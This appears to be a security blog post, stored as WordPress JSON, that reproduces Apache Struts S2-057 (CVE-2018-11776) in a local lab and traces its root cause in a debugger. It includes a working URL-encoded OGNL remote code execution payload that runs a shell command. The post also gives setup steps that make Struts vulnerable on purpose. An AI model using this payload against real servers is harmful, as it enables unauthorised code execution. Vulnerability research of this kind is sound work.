{"id":233,"date":"2019-02-01T17:22:00","date_gmt":"2019-02-01T22:22:00","guid":{"rendered":"http:\/\/www.wispwisp.com\/?p=233"},"modified":"2020-11-09T03:14:13","modified_gmt":"2020-11-09T03:14:13","slug":"apache-struts-s2-057-poc-and-dynamic-analysis","status":"publish","type":"post","link":"https:\/\/www.wispwisp.com\/index.php\/2019\/02\/01\/apache-struts-s2-057-poc-and-dynamic-analysis\/","title":{"rendered":"Apache Struts s2-057 POC and dynamic analysis"},"content":{"rendered":"<p><span style=\"font-size: 14pt;\">The detail about Apache Struts S2-057 Vulnerability:<\/span> <span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2018-11776\">https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2018-11776<\/a><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 18pt;\"><strong>Ubuntu:<\/strong><\/span><br \/>\n<strong><span style=\"font-size: 14pt;\">1. Setup the environment<\/span><\/strong><br \/>\n<span style=\"font-size: 14pt;\">1.1 System version: ubuntu 14.04.<\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-245\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-24-at-10.20.17-PM-300x16.png\" alt=\"\" width=\"807\" height=\"43\" \/><\/span><br \/>\n<span style=\"font-size: 14pt;\">1.2 Install apache tomcat:<\/span><\/p>\n<pre>sudo apt-get install tomcat7\nsudo apt-get install tomcat7-docs tomcat7-admin tomcat7-examples\nsudo apt-get install default-jdk<\/pre>\n<p><span style=\"font-size: 14pt;\">1.3 Download the vulnerable Apache struts from: https:\/\/archive.apache.org\/dist\/struts\/2.3.34\/<\/span><br \/>\n<span style=\"font-size: 14pt;\">1.4 Extra files from the Zip file and deploy the struts-2.3.34\/apps\/struts2-showcase.war with tomcat manager:<\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-246\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-24-at-10.27.37-PM-300x146.png\" alt=\"\" width=\"714\" height=\"347\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\">1.5 Set the \u201cstruts2-showcase.war\u201d as ROOT application:<\/span><\/p>\n<pre>cd \/var\/lib\/tomcat7\/webapps\nmv struts2-showcase ROOT<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">2. Make it vulnerable:<\/span><\/strong><br \/>\n<span style=\"font-size: 14pt;\">2.1 As mentioned in the CVE detail, the \u201calwaysSelectFullNamespace\u201d need to equal to true. Add:<\/span><\/p>\n<pre>&lt;constant name=\"struts.mapper.alwaysSelectFullNamespace\" value=\"true\" \/&gt;<\/pre>\n<p><span style=\"font-size: 14pt;\">into <\/span><\/p>\n<pre>\/var\/lib\/tomcat7\/webapps\/ROOT\/WEB-INF\/classes\/struts.xml<\/pre>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-247\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-24-at-10.34.50-PM-300x95.png\" alt=\"\" width=\"651\" height=\"206\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\">2.2 Base on this blog post, https:\/\/semmle.com\/news\/apache-struts-CVE-2018-11776, one way to setup the vulnerable application is: define a result without a namespece:<\/span><br \/>\n<span style=\"font-size: 14pt;\">Create this action and add it to \/var\/lib\/tomcat7\/webapps\/ROOT\/WEB-INF\/classes\/struts.xml<\/span><\/p>\n<pre>&lt;action name=\u201chello\u201d&gt;\n&lt;result type=\"redirectAction\"&gt;\n&lt;param name=\"actionName\"&gt;data.action&lt;\/param&gt;\n&lt;\/result&gt;\n&lt;\/action&gt;<\/pre>\n<p><span style=\"font-size: 14pt;\">2.3 Restart the tomcat server:<\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><code>service tomcat7 restart<\/code><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>3. Exploit:<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">A simple OGNL expressions ${2*3},\u00a0URLencode ${2*3}:%24%7b%31%32%33%2a%31%32%33%7d<\/span><\/p>\n<pre>curl -v http:\/\/127.0.0.1:8080\/%24%7b%32%2a%33%7d\/hello.action<\/pre>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-248\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-24-at-11.30.12-PM-300x134.png\" alt=\"\" width=\"696\" height=\"311\" \/><\/span><\/p>\n<hr \/>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 18pt;\"><strong>MacOS:<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\"><strong>1. Setup the environment\u00a0<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">System: macOS Sierra\u00a0 version 10.12.6<\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\">1.1 Download and Install Eclipse Java EE IDE for Web Developers:\u00a0\u00a0http:\/\/www.eclipse.org\/\u00a0<\/span><br \/>\n<span style=\"font-size: 14pt;\">1.2 Download the vulnerable Apache struts from: https:\/\/archive.apache.org\/dist\/struts\/2.3.34\/<\/span><br \/>\n<span style=\"font-size: 14pt;\">1.3 Install tomcat: brew install tomcat<\/span><br \/>\n<span style=\"font-size: 14pt;\">1.4 Follow this video to load Apache Struts in Eclipse: https:\/\/www.youtube.com\/watch?v=b38jZJqi_y8<\/span><br \/>\n<span style=\"font-size: 14pt;\">1.5 Follow this video to load struts-2.3.34\/apps\/struts2-showcase.war file in Eclipse: https:\/\/www.youtube.com\/watch?v=GBKzjMwQMoQ\u00a0<\/span><br \/>\n<span style=\"font-size: 14pt;\">1.6 Configure the Eclipse project running on localhost with tomcat 9.0<\/span><br \/>\n<span style=\"font-size: 14pt;\">1.7 Find out the tomcat directory:\u00a0 <\/span><\/p>\n<pre><span style=\"font-size: 12pt;\">$brew ls tomcat: \/usr\/local\/Cellar\/tomcat\/9.0.12\/libexec\/<\/span><\/pre>\n<p class=\"p1\"><span style=\"font-size: 14pt;\"><strong>2. Configure the vulnerable application:<\/strong><\/span><\/p>\n<p>Insert<\/p>\n<pre>&lt;constant name=\"struts.mapper.alwaysSelectFullNamespace\" value=\"true\" \/&gt;<\/pre>\n<p>And<\/p>\n<pre>&lt;action name=\u201chelp\u201d&gt;\n&lt;result type=\"redirectAction\"&gt;\n&lt;param name=\"actionName\"&gt;data.action&lt;\/param&gt;\n&lt;\/result&gt;\n&lt;\/action&gt;<\/pre>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-256\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-2.06.47-PM-300x150.png\" alt=\"\" width=\"758\" height=\"379\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>3. Exploit<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">Run the application on Tomcat server:<\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-257\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-2.10.18-PM-300x259.png\" alt=\"\" width=\"634\" height=\"547\" \/><\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Send the payload with curl:<\/span><\/p>\n<pre>curl -v '127.0.0.1:8080\/test_project\/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D\/help.action'<\/pre>\n<p><span style=\"font-size: 14pt;\">Which equal to:<\/span><\/p>\n<pre>${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\n(#ct=#request['struts.valueStack'].context).\n(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).\n(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\n(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).\n(#ct.setMemberAccess(#dm)).\n(#w=#ct.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").get Writer()).\n(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))).(#w.close())}\n<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\">The output of &#8216;<code>ID<\/code>&#8216;\u00a0command in server&#8217;s response:<\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-258\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-2.15.11-PM-300x102.png\" alt=\"\" width=\"925\" height=\"314\" \/><\/span><\/p>\n<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong>Dynamic Analysis:<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">I don\u2019t know where to start at the beginning, because I have no idea which line of\u00a0code cause this vulnerability. Here is my thought process:<\/span><br \/>\n<span style=\"font-size: 14pt;\">The vulnerability comes from \u201cApache Struts2\u201d which is a web application\u00a0framework, so I should be looking for a library file. The library files for \u201cstruts2-showcase.war\u201d application can be found in one of the folder after:\u00a0unzip struts2-showcase.war<\/span><br \/>\n<span style=\"font-size: 14pt;\">There are too many .jar file in struts2-showcase\/WEB-INF\/lib\/ folder,I did some grep to find out the potential target file:<\/span><\/p>\n<pre class=\"p1\">grep -r -i 'alwaysSelectFullNamespace' .\ngrep -r -i 'redirectAction' .\ngrep -r -i 'Namespace' .\ngrep -r -i 'Redirect' .\ngrep -r -i 'wildcard' .\ngrep -r -i 'OGNL' .<\/pre>\n<p class=\"p1\"><span style=\"font-size: 14pt;\">Base on the file name from the &#8216;grep&#8217; output, this two files seem interesting:<\/span><\/p>\n<pre>Binary file .\/struts2-core-2.3.34.jar matches\nBinary file .\/struts-core-1.3.10.jar matches<\/pre>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\">After reaching this point, I realize I have source code file in \u201cstruts-2.3.34\u201d folder. The vulnerable action is: \u201credirectAction\u201d, I do a \u201cgrep -i -r &#8216;redirectAction&#8217; .\u201d and found this word only shows up in \u201c<code>struts-2.3.34\/src\/core\/src\/main\/java\/org\/apache\/struts2\/dispatcher\/ServletActionRedirectResult.java<\/code>\u201d. I figure this is the file I am looking for, then I start my dynamic analysis:<\/span><br \/>\n<span style=\"font-size: 14pt;\">Break point at ServletActionRedirectResult class:<\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-265\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-2.33.44-PM-300x168.png\" alt=\"\" width=\"630\" height=\"353\" \/><\/span><br \/>\n<span style=\"font-size: 14pt;\">Sent this command in Terminal after application is running:<\/span><\/p>\n<pre>curl -v \u2018127.0.0.1:8080\/test_project\/%24%7b%32%2b%32%7d\/help.action\u2019<\/pre>\n<p><span style=\"font-size: 14pt;\">The program stop at the breakpoint, which located in <code>ServletActionRedirectResult.java<\/code>.<\/span><br \/>\n<span style=\"font-size: 14pt;\">The value in namespace variable is:<code> \/${2+2}<\/code><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-family: helvetica, arial, sans-serif;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-266\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/struts2-report-300x120.jpg\" alt=\"\" width=\"783\" height=\"313\" \/><\/span><\/p>\n<p class=\"p1\"><span style=\"font-size: 14pt;\">(ServletActionRedirectResult.java)<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Continue running the application step by step in Eclipse, program reach super.execute(invocation)<\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-family: helvetica, arial, sans-serif;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-267\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-3.19.12-PM-300x144.png\" alt=\"\" width=\"773\" height=\"371\" \/><\/span><br \/>\n<span style=\"font-size: 14pt;\">(TextParseUtil.java)<\/span><br \/>\n<span style=\"font-size: 14pt;\">Inside the super.execute() function, program reach translateVariables() function in TextParseUtil.java, the expression\u00a0variable equal to \u201c<code>\/${2+2}\/data.action<\/code>\u201d<\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-family: helvetica, arial, sans-serif;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-268\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-3.29.20-PM-300x103.png\" alt=\"\" width=\"693\" height=\"238\" \/><\/span><\/p>\n<p class=\"p1\"><span style=\"font-size: 14pt;\">Inside the\u00a0translateVariables() function, the program reach\u00a0parser.evaluate(openChars, expression, ognlEval, maxLoopCount) function.\u00a0The program starts to evaluate the payload.<\/span><\/p>\n<p>\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-family: helvetica, arial, sans-serif;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-269\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-3.14.53-PM-300x146.png\" alt=\"\" width=\"715\" height=\"348\" \/><\/span><br \/>\n<span style=\"font-size: 14pt;\">Inside the\u00a0<code>parser.evaluate()<\/code> function<\/span><br \/>\n<span style=\"font-size: 14pt;\">From the right side, it shows\u00a0\u2018o\u2019 equals to \u20184\u2019. The payload <code>${2+2}<\/code> gets evaluated here and return result \u20184\u2019:<\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-family: helvetica, arial, sans-serif;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-270\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-3.10.53-PM-300x98.png\" alt=\"\" width=\"750\" height=\"245\" \/><\/span><\/p>\n<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong>alwaysSelectFullNamespace?<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">The process above shows the detail about \u201cnamespace\u201d get executed, but how variable namespace equal to \u201c${2+2}\u201d in the first place?\u00a0<\/span><span style=\"font-size: 14pt;\">I do a <code>grep -i -r \u201calwaysSelectFullNamespace\u201d<\/code> try to find out how this setting causes vulnerability. <\/span><span style=\"font-size: 14pt;\">The grep command to return only one file: \u201c\/dispatcher\/mapper\/DefaultActionMapper.java\u201d<\/span><br \/>\n<span style=\"font-size: 14pt;\">There is an If statement in<span style=\"font-size: 12pt;\"><code>DefaultActionMapper.java<\/code> <\/span>file:<\/span><\/p>\n<pre>else if (alwaysSelectFullNamespace) {\n\/\/ Simply select the namespace as everything before the last slash\nnamespace = uri.substring(0, lastSlash);\nname = uri.substring(lastSlash + 1);\n} else {\n....<\/pre>\n<p><span style=\"font-size: 14pt;\">If alwaysSelectFullNamespace equal to true, namespace will equal to\u00a0<code>uri.substring(0,lastSlash)<\/code><\/span><\/p>\n<p><span style=\"font-size: 14pt;\">I set a break point at <code>parseNameAndNamespace()<\/code> function and start the application with the same payload. After the program hits the breakpoint:<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">As the screenshot shows below, <\/span><span style=\"font-size: 14pt;\">when alwaysSelectFullNamespace equal to true, the program run into the if statement and set namespace variable equal to the payload\u00a0\u00a0<code>\/${2+2}<\/code><\/span><br \/>\n<span style=\"font-family: helvetica, arial, sans-serif;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-271\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-09-25-at-3.51.18-PM-300x180.png\" alt=\"\" width=\"583\" height=\"350\" \/><\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\">To verify my assumption, I re-run the application with both breakpoint up. The program first hits the break point at\u00a0<code>parseNameAndNamespace()<\/code> function in <code>DefaultActionMapper.java<\/code>,\u00a0then reach\u00a0execute() function in ServletRedirectResult.java.\u00a0<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">The root cause of this vulnerability: if the application set\u00a0\u201calwaysSelectFullNamespace\u201d variable equal to True and apache struts can&#8217;t find any\u00a0namespace in the request, it will take the user input as namespace. The program pass the namespace variable\u00a0to a OGNL evaluation function and lead to code execution.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">The document about namespace from apache struts: https:\/\/struts.apache.org\/core-developers\/namespace-configuration.html OGNL(from wiki):\u00a0Object-Graph Navigation Language is an open-source Expression Language for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes.<\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>Detection:<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">Since the RCE involves OGNL expression, IDS\/IPS can be set up\u00a0to detect OGNL expression in network traffic.<\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<span style=\"font-size: 14pt;\"><strong>Mitigation:<\/strong><\/span><br \/>\n<span style=\"font-size: 14pt;\">Update Apache struts to the Version 2.5.17 or 2.3.35. The code update from Apache struts can be found here: https:\/\/github.com\/apache\/struts\/commit\/eec0d8e877dc86da4946268caf73c2f7ed5d2fc6#diff-9647a4959303ab2aa97d5eae59a00349 They fix this vulnerability by adding input validation for namespace variable.<\/span><br \/>\n\u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c<br \/>\n<strong><span style=\"font-size: 14pt;\">Reference:<\/span><\/strong><br \/>\n<span style=\"font-size: 14pt;\">https:\/\/www.anquanke.com\/post\/id\/157823<\/span><br \/>\n<span style=\"font-size: 14pt;\">https:\/\/www.secjuice.com\/apache-struts2-cve-2018-11776\/<\/span><\/p>\n<p class=\"p1\"><span style=\"font-size: 14pt;\"><a style=\"font-family: helvetica, arial, sans-serif;\" href=\"https:\/\/www.secjuice.com\/apache-struts2-cve-2018-11776\/\">https:\/\/www.secjuice.com\/apache-struts2-cve-2018-11776\/<\/a><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The detail about Apache Struts S2-057 Vulnerability: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2018-11776 \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c \u200c\u200c Ubuntu: 1. Setup the environment 1.1 System version: ubuntu 14.04. 1.2 Install apache tomcat: sudo apt-get install tomcat7 sudo apt-get install tomcat7-docs tomcat7-admin tomcat7-examples sudo apt-get install default-jdk 1.3 Download the vulnerable Apache struts from: https:\/\/archive.apache.org\/dist\/struts\/2.3.34\/ 1.4 Extra files from the Zip [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":690,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/233"}],"collection":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/comments?post=233"}],"version-history":[{"count":3,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/233\/revisions"}],"predecessor-version":[{"id":714,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/233\/revisions\/714"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media\/690"}],"wp:attachment":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media?parent=233"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/categories?post=233"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/tags?post=233"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}